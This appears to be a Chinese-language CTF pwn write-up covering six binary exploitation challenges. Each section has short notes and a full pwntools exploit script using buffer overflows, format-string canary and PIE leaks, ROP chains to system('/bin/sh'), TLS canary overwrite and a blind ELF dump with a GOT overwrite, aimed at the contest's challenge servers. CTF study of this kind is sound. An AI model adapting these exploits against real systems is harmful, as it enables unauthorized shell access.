来签个到吧 checksec:
开了全保护 看IDA:
满足v4[27]为0xADDAAAAA时,就能getshell
v4是int类型 所以要填充4*27=0x6C个字节,然后写要求的数字
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import *from struct import packimport timeimport randomfrom ctypes import *p = remote("challenge.bluesharkinfo.com" , 21136 ) p.sendafter("blueshark?\n" , b'a' * 0x6c + p64(0xADDAAAAA )) p.interactive()
ez_fmt checksec:
保护全开,IDA64打开:
能输入两次,第一次有格式化字符串漏洞
同时程序有后门函数:
同时也有全保护,所以在第一次read泄露canary和某个text段的函数来得到PIE偏移,再在第二次read里栈溢出get shell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *from LibcSearcher import *from struct import packimport timeimport randomfrom ctypes import *context.log_level = 'debug' p = process('./ez_fmt' ) gdb.attach(p) p.sendlineafter(b"input: " , b'%23$p-%25$p' ) p.recvuntil(b'0x' ) canary = int (p.recv(16 ), 16 ) p.recvuntil(b'0x' ) PIE_offset = int (p.recv(12 ), 16 ) - 0x12FA print (hex (canary))print (hex (PIE_offset))backdoor = PIE_offset + 0x1188 ret_addr = PIE_offset + 0x101a - 0x61 print (hex (backdoor))print (hex (ret_addr))pause() p.sendafter("input: " ,b'a' * (0x90 - 8 ) + p64(canary) + p64(0 ) + p64(ret_addr) + p64(backdoor)) p.interactive()
ret2rop checksec:
没开canary和PIE IDA64打开:
函数在执行完read之后还有个异或操作 这里看不出来,但是用pwngdb调试就能看出究竟怎么异或了:
可以看到程序是将frame[0]与frame[20]异或然后放进frame[0]里
这样的操作会对rop以及循环的变量造成破坏,所以需要动态调试将被破坏的rop链用另一种方式可用
这里动调结果是增加一个pop rsi = 0 的gadget来防止n被破坏
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from LibcSearcher import *from struct import packimport timeimport randomfrom ctypes import *context.log_level = 'debug' p = process('./ret2rop' ) p = remote("challenge.bluesharkinfo.com" , 29770 ) elf = ELF('./ret2rop' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] system_addr = 0x401180 mov_rdi_rsi = 0x0000000000401a25 pop_rsi = 0x0000000000401a1c p.sendlineafter("demo\n" , b'n' ) pause() p.sendlineafter("name\n" , b'/bin/sh' ) payload = b'a' * 0x20 + p64(0 ) * 4 + p64(0x80 ) + p64(0 ) + b'\x00' * 8 + p64(pop_rsi) + p64(0x80 ) + p64(pop_rsi) + p64(0x4040F0 ) + p64(mov_rdi_rsi) + p64(system_addr) pause() p.sendafter("yourself\n" , payload) p.interactive()
2048 checksec:
没开PIE IDA64查看:
是一个2048游戏 要求玩到十万分
尝试了下找漏洞,发现一次输入极多移动字符会让得分大大提高
此时会进入final:
final自带的shell只能执行ls和exit,strcmp和system都会\x00截断所以不能这样绕过
同时
想法是在第一个在bss段读名字的写入/bin/sh 然后在shell的第一个读取里利用puts泄露canary
再在第二个写入rop
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *from LibcSearcher import *from struct import packimport timeimport randomfrom ctypes import *context.log_level = 'debug' p = process('./ez2048' ) p = remote("challenge.bluesharkinfo.com" ,26973 ) pop_rdi_ret = 0x000000000040133e system_addr = 0x401170 ret_addr = 0x000000000040101a p.sendlineafter("input your name\n>" , b'/bin/sh' ) p.sendlineafter("start the game" , b'a' ) sleep(0.1 ) p.sendline(b'dsawdsawdsawdsawdsawdsaw' * 250 ) sleep(0.1 ) p.sendline(b'q' ) sleep(0.1 ) p.sendline(b'a' ) sleep(0.1 ) p.sendline(b'dsawdsawdsawdsawdsawdsaw' * 250 ) sleep(0.1 ) p.sendline(b'q' ) sleep(0.1 ) p.sendline(b'q' ) sleep(3 ) payload = b'a' * (0x89 ) p.sendafter("$ " , payload) p.recvuntil(b'a' * (0x89 )) canary = u64(p.recv(7 ).rjust(8 , b'\x00' )) print (hex (canary))pause() payload = b'exit\x00aaa' + b'a' * (0x90 - 0x8 - 0x8 ) + p64(canary) + p64(0 ) + p64(pop_rdi_ret) + p64(0x404a46 ) + p64(ret_addr) + p64(system_addr) p.sendafter("$ " , payload) p.interactive()
金丝雀的诱惑 checksec:
没开PIE IDA64查看
创建了子线程 能溢出特别大的长度 考虑是TLS劫持的canary绕过
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import *from struct import packimport timeimport randomfrom ctypes import *context(log_level='debug' ,arch='amd64' , os='linux' ) p = process('./ez_canary' ) libc = ELF('./libc.so.6' ) gdb.attach(p, "set scheduler-locking on" ) pause() p.sendafter("name >>\n" , b'a' * 0x190 ) p.recvuntil(b'a' * 0x190 ) libc_addr = u64(p.recv(6 ).ljust(8 , b'\x00' ))- 0x947d0 print (hex (libc_addr + 0x947d0 ))print (hex (libc_addr))pause() binsh = libc_addr + libc.search('/bin/sh' ).__next__() system = libc_addr + libc.sym['system' ] rdi = libc_addr+libc.search(asm("pop rdi\nret" )).__next__() ret = 0x000000000040101a print (hex (system))print (hex (rdi))payload = b'a' * 0x110 + p64(0 ) + p64(rdi) + p64(binsh) + p64(ret) + p64(system) + b'a' * 0x7c8 + p64(0 ) + p64(1 ) + p64(libc_addr -0x1ff9c0 ) + p64(1 ) + p64(0 ) + b'a' * 8 * 100 p.sendafter("content >>\n" , payload) p.interactive()
这题尽量保持了fs寄存器的不变所以payload后面会有一些按照原样的填充
bad_box 题目没给附件,是一道BROP类型的题
似乎没有fmt
但是输入多些又有了 猜测是对字符串的长度判断决定是否有格式化字符串
经测试在31个字符之后会有fmt 先算出偏移
偏移为8
目前只知道有格式化字符串漏洞但不知道其他漏洞
考虑用在偏移位置写从0x400000的起始地址,利用%s读取该地址的内容,从而泄露ELF文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *from LibcSearcher import *from struct import packimport timeimport randomfrom ctypes import *context(log_level='error' ,arch='amd64' , os='linux' ) def dump_file (): offset = 13 header_len = 40 start_addr = 0x400000 end_addr = 0x404000 print (f"[*] 开始稳定 Dump: {hex (start_addr)} -> {hex (end_addr)} " ) print ("[*] 结果将保存到: dumped_bin" ) current_addr = start_addr f = open ('dumped_bin' , 'wb' ) while current_addr < end_addr: try : p = remote("challenge.bluesharkinfo.com" , 28079 ) p.recvuntil(b'Have fun' , drop=True ) p.recv(timeout=0.2 ) fmt = f'%{offset} $s||||' .encode() payload = fmt.ljust(header_len, b'A' ) payload += p64(current_addr) p.sendline(payload) leak = p.recvuntil(b'||||' , drop=True , timeout=2 ) p.close() if not leak: byte = b'\x00' else : byte = leak[0 :1 ] f.write(byte) f.flush() print (f"\r[{hex (current_addr)} ] Got: {byte.hex ()} " , end='' ) current_addr += 1 except KeyboardInterrupt: break except Exception as e: continue f.close() print (f"\n\n[+] Dump 完成!文件已保存为 dumped_bin" ) print ("[+] 请运行: objdump -R dumped_bin 查找 GOT 表" ) if __name__ == '__main__' : dump_file()
遍历 0x400000~0x404000 将dump下来的文件用IDA打开
查找程序,有后门函数:
在printf后执行exit(0) 所以想到修改exit的GOT表
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *from LibcSearcher import *from struct import packimport timeimport randomfrom ctypes import *context(log_level='error' ,arch='amd64' , os='linux' ) def dump_file (): offset = 13 header_len = 40 start_addr = 0x400000 end_addr = 0x404000 print (f"[*] 开始稳定 Dump: {hex (start_addr)} -> {hex (end_addr)} " ) print ("[*] 结果将保存到: dumped_bin" ) current_addr = start_addr f = open ('dumped_bin' , 'wb' ) while current_addr < end_addr: try : p = remote("challenge.bluesharkinfo.com" , 28079 ) p.recvuntil(b'Have fun' , drop=True ) p.recv(timeout=0.2 ) fmt = f'%{offset} $s||||' .encode() payload = fmt.ljust(header_len, b'A' ) payload += p64(current_addr) p.sendline(payload) leak = p.recvuntil(b'||||' , drop=True , timeout=2 ) p.close() if not leak: byte = b'\x00' else : byte = leak[0 :1 ] f.write(byte) f.flush() print (f"\r[{hex (current_addr)} ] Got: {byte.hex ()} " , end='' ) current_addr += 1 except KeyboardInterrupt: break except Exception as e: continue f.close() print (f"\n\n[+] Dump 完成!文件已保存为 dumped_bin" ) print ("[+] 请运行: objdump -R dumped_bin 查找 GOT 表" ) p = remote("challenge.bluesharkinfo.com" , 23306 ) backdoor = 0x40125B exit_got = 0x4033A0 payload = b'%' + str (backdoor).encode() + b'c' payload += b'%10$ln' + b'\x00' payload += p64(exit_got) payload += b'\x00' * 0x20 p.sendafter("Have fun" , payload) p.interactive()